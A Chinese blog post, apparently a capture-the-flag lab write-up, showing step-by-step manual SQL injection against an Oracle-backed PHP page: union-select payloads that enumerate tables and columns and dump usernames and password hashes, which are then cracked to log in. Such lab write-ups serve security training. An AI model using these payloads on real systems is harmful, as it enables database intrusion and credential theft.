本期来为大家讲解的sql注入题目是来墨者学院的SQL手工注入漏洞测试(Oracle数据库)。

地址:http://124.70.22.208:42948/new_list.php?id=1(注意地址已失效仅供参考)

首先还是先构造payload来检测是否存在注入点

Payload:“http://124.70.22.208:42948/new_list.php?id=1 and 1=2”

http://124.70.22.208:42948/new_list.php?id=1 and 1=2

发现回显没有显示id=1 的数据,说明id此处存在注入点。

然后开始爆破字段个数。

构造payload :“http://124.70.22.208:42948/new_list.php?id=1 order by 2”

http://124.70.22.208:42948/new_list.php?id=1 order by 2

Order by是数据库查询的时候对结果进行的排序,如果后面写的是字段,则根据查询字段进行排序,但如果后面写的是数字,该数字大于所查询的字段数,则就会报错,小于的话就不会报错。

注意到“order by 3”的时候没有数据回显,而“order by 2”的时候有数据回显,说明后端查询语句所查询的字段为2。

接下来我们先测试这两个字段查询结果的回显位置。

构造payload:“http://124.70.22.208:42948/new_list.php?id=1 and 1=2 union select '1','2' from dual”

http://124.70.22.208:42948/new_list.php?id=1 and 1=2 union select '1','2' from dual

其中dual是Oracle中的一个实际存在的表,任何用户均可读取,常用在没有目标表的select语句块中。Oracle中的dual表是一个单行单列的虚拟表。

从回显结果中我们可以看到字段查询结果展示在前端的位置。

接下来就开始查询数据库

构造payload:“http://124.70.22.208:42948/new_list.php?id=1 and 1=2 union select (select distinct owner from all_tables where rownum=1),'2' from dual”

http://124.70.22.208:42948/new_list.php?id=1 and 1=2 union select (select distinct owner from all_tables where rownum=1),'2' from dual

其中all_tables表中的owner字段为数据库名,where rownum=1的意思是只展示一行结果。

查询SYS以外的其他数据库可以用“http://124.70.22.208:42948/new_list.php?id=1 and 1=2 union select (select distinct owner from all_tables where rownum=1 and owner not in ('SYS')),'2' from dual”

http://124.70.22.208:42948/new_list.php?id=1 and 1=2 union select (select distinct owner from all_tables where rownum=1 and owner not in ('SYS')),'2' from dual

查询完表之后就是查询表名了

构造payload:“http://124.70.22.208:42948/new_list.php?id=1 and 1=2 union select (select table_name from user_tables where rownum=1),'2' from dual”此查询结果为当前数据库下的表名。

http://124.70.22.208:42948/new_list.php?id=1 and 1=2 union select (select table_name from user_tables where rownum=1),'2' from dual

user_tables 这张表中存放了所有的表名。

查询其他表名时我们也可以用“and table_name not in (‘已查到的表名’)”来查询 。

如:“http://124.70.22.208:42948/new_list.php?id=1 and 1=2 union select (select table_name from user_tables where rownum=1 and table_name not in ('LOGMNR_SESSION_EVOLVE$')),'2' from dual”

http://124.70.22.208:42948/new_list.php?id=1 and 1=2 union select (select table_name from user_tables where rownum=1 and table_name not in ('LOGMNR_SESSION_EVOLVE$')),'2' from dual

这里我们为了方便,我们直接使用模糊查询来查询user表。

Payload:“http://124.70.22.208:42948/new_list.php?id=1 and 1=2 union select (select table_name from user_tables where rownum=1 and table_name like '%user%'),'2' from dual”

http://124.70.22.208:42948/new_list.php?id=1 and 1=2 union select (select table_name from user_tables where rownum=1 and table_name like '%user%'),'2' from dual

使用“table_name not in (‘sns_users’)”来确保是否只有这一张user表。

Payload:“http://124.70.22.208:42948/new_list.php?id=1 and 1=2 union select (select table_name from user_tables where rownum=1 and table_name like '%user%' and table_name not in ('sns_users')),'2' from dual”

http://124.70.22.208:42948/new_list.php?id=1 and 1=2 union select (select table_name from user_tables where rownum=1 and table_name like '%user%' and table_name not in ('sns_users')),'2' from dual

发现没有回显数据,说明只有sns_users 一张user表。

接下来就开始查询字段。

构造payload:“http://124.70.22.208:42948/new_list.php?id=1 and 1=2 union select (select column_name from all_tab_columns where rownum=1 and table_name='sns_users'),'2' from dual”

http://124.70.22.208:42948/new_list.php?id=1 and 1=2 union select (select column_name from all_tab_columns where rownum=1 and table_name='sns_users'),'2' from dual

all_tab_columns表存放所有的字段名。

然后使用“and column_name not in (‘USER_NAME’)”来爆出其他字段名

Payload:“http://124.70.22.208:42948/new_list.php?id=1 and 1=2 union select (select column_name from all_tab_columns where rownum=1 and table_name='sns_users' and column_name not in ('USER_NAME')),'2' from dual”

http://124.70.22.208:42948/new_list.php?id=1 and 1=2 union select (select column_name from all_tab_columns where rownum=1 and table_name='sns_users' and column_name not in ('USER_NAME')),'2' from dual

这样我们就查询到了存放用户名跟密码的字段名,接下来就是查询数据了。

构造payload:“http://124.70.22.208:42948/new_list.php?id=1 and 1=2 union select USER_NAME,USER_PWD from "sns_users"”

http://124.70.22.208:42948/new_list.php?id=1 and 1=2 union select USER_NAME,USER_PWD from "sns_users

注意:小伙伴们一定要记得“sns_users”表名一定加上英文的双引号,应该是Oracle数据库的特性,不然的话不会回显数据!

也可以用“where USER_NAME <> 'hu'”来检差除了‘hu’是否还存在其他用户。

Payload:“http://124.70.22.208:42948/new_list.php?id=1 and 1=2 union select USER_NAME,USER_PWD from "sns_users" where USER_NAME <> 'hu'”

http://124.70.22.208:42948/new_list.php?id=1 and 1=2 union select USER_NAME,USER_PWD from "sns_users" where USER_NAME <> 'hu'

发现还存在mozhe的用户,大家也可以继续尝试。 这里就不再演示了。

这样最终我们就可以获得数据了,将密码进行MD5解密(md5在线解密破解,md5解密加密),返回登录页进行登录,划到页面最下端就可以看到KEY了。

Oracle数据库注入-墨者学院(SQL手工注入漏洞测试(Oracle数据库))相关推荐

  1. SQLServer数据库注入-墨者学院(SQL手工注入漏洞测试(Sql Server数据库))

    本期来为大家讲解的sql注入题目是来墨者学院的SQL手工注入漏洞测试(Sql Server数据库). 地址:http://219.153.49.228:42295/new_list.asp?id=2( ...

  2. MongoDB数据库注入-墨者学院(SQL手工注入漏洞测试(MongoDB数据库))

    本期来为大家讲解的sql注入题目是来墨者学院的SQL手工注入漏洞测试(MongoDB数据库). 地址:http://124.70.71.251:46804/new_list.php?id=1(注意这里 ...

  3. 墨者学院SQL手工注入靶场漏洞详解

    墨者学院SQL手工注入靶场漏洞详解 目录 靶场地址 步骤详解 目录 靶场地址 该靶场由墨者学院安全工程师"墨者"所搭建,靶场环境为Nginx+PHP+MySQL,启动靶场只需1墨币 ...

  4. 《墨者学院——SQL手工注入漏洞测试(MySQL数据库)》

    作者: susususuao 免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责. 一:思路 背景介绍 安全工程师"墨者"最近在练习SQL手工注入漏洞,自己刚搭 ...

  5. 墨者靶场-SQL手工注入漏洞测试(MySQL数据库-字符型)

    0x00 前言 我们都知道,SQL注入分数字型和字符型,我们上次讲的是最基本的数字型SQL注入,这次我们就来讲最基本的字符型SQL注入.同样,如果是明白原理和方法的话,看懂这篇文章并不难,但是如果不清 ...

  6. python sql注入脚本_python辅助sql手工注入猜解数据库案例分析

    发现存在sql注入漏洞 简单一点可以直接用sqlmap工具暴库 但是如果想深入理解sql注入的原理,可以尝试手工注入,配合python脚本实现手工猜解数据库 首先hachbar开启 获取cms登录后的 ...

  7. mysql的sql手工注入基于回显,SQL手工注入漏洞测试(Sql Server数据库)

    寻找注入点 and 1=1 ,and 2=1 判断字段 order by N# 虽然3报错,但4有回显.判断是4个字段 查看回显位置id=2 and 2=1 union all select 1,2, ...

  8. 墨者学院-SQL注入漏洞测试(报错盲注)

    继续攻克SQL注入类题目啦!!!今天的题目环境提示比较明显,也是比较常见的一种SQL注入漏洞类型,继续储备知识,撸起袖子加油干!!! 附上题目链接:https://www.mozhe.cn/bug/d ...

  9. 墨者学院-SQL注入漏洞测试(布尔盲注)

    决心按部就班.由浅入深地去剖析下sql注入题目提供的靶场环境,完善自身解题思路.本题靶场环境比较简单.也比较常见,没有设置严格的过滤规则,仅仅是限制了页面的回显功能,属于比较初级的sql注入题目.废话 ...

最新文章

  1. 酸了!会这个技能的 AI 工程师年薪至少35W起!
  2. 使用maven构建Spring工程的一些重点
  3. maven 一个模块生成多个jar包
  4. leetcode算法题--盛最多水的容器
  5. 使用 Boost.Math 计算 Jacobi Zeta 函数的简单示例, 并使用相应的 WolframAlpha 命令
  6. centos6.4 搭建vsftpd
  7. 2012年iOS开发人员必看的精品资料(100个)
  8. 网页 JavaScript的DOM操作
  9. MyEclipse 10.5 安装SVN插件
  10. DP为王——动态规划法学习笔记
  11. ASP.NET 2.0中实现模板中的数据绑定
  12. Spring boot配置项目访问路径server.context-path不起作用(改为server.servlet.context-path)
  13. 回调、匿名函数、闭包
  14. [jQuery基础] jQuery事件相关案例 -- 电影排行榜、Tab选项卡
  15. springboot整合MyCat
  16. java sql变更存储,MySQL更改数据库数据存储目录,mysql数据存储
  17. python学习(三)
  18. 多线程之线程池Executor应用
  19. 300W-LP数据库介绍
  20. 80和443端口的区别

热门文章

  1. cmstop中的视图view
  2. 使用FFmpeg把视频转换成JPG格式的图片
  3. ios的qq分享接入流程
  4. 相关高斯分布的MIMO信道矩阵的容量统计特征推导
  5. 全站 HTTPS 来了
  6. 再续:~英语 1038个词根 217个后缀!
  7. 读 《成为技术领导者》 有感
  8. 用python做股票量化分析豆瓣_[转]构建基于R的交易系统(5)quantstrat包(中)(来源:豆瓣-数据铺子)...
  9. linux数据库分析报告,写linux数据
  10. TOGAF ADM 教程